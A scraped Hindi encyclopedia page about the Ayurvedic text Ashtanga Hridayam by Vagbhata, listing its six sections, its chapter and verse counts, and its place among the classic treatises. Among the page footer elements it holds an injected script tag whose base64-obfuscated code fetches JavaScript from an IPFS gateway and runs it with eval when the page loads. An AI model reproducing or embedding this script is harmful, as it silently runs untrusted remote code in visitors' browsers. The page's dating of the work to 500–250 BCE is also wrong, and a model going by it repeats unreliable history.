अष्टांगहृदयम्  

अष्टांगहृदयम् आयुर्वेद से सम्बंधित एक प्रसिद्ध ग्रन्थ है, जिसके रचयिता वाग्भट थे। इस ग्रन्थ का रचना काल 500 ई. पू. से लेकर 250 ई. पू. तक अनुमानित है।

  • आयुर्वेद के इस ग्रन्थ में औषधि और शल्य चिकित्सा दोनों का समावेश है।
  • चरक, सुश्रुत और वाग्भट को सम्मिलित रूप से 'वृहत्त्रयी' कहा जाता है।
  • 'अष्टांगहृदयम्' में 6 खण्ड, 120 अध्याय एवं कुल 7120 श्लोक हैं।
  1. सूत्रस्थान
  2. शरीरस्थान
  3. निदानस्थान
  4. चिकित्सास्थान‎
  5. कल्पस्थान‎
  6. उत्तरस्थान‎


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=अष्टांगहृदयम्&oldid=531497" से लिया गया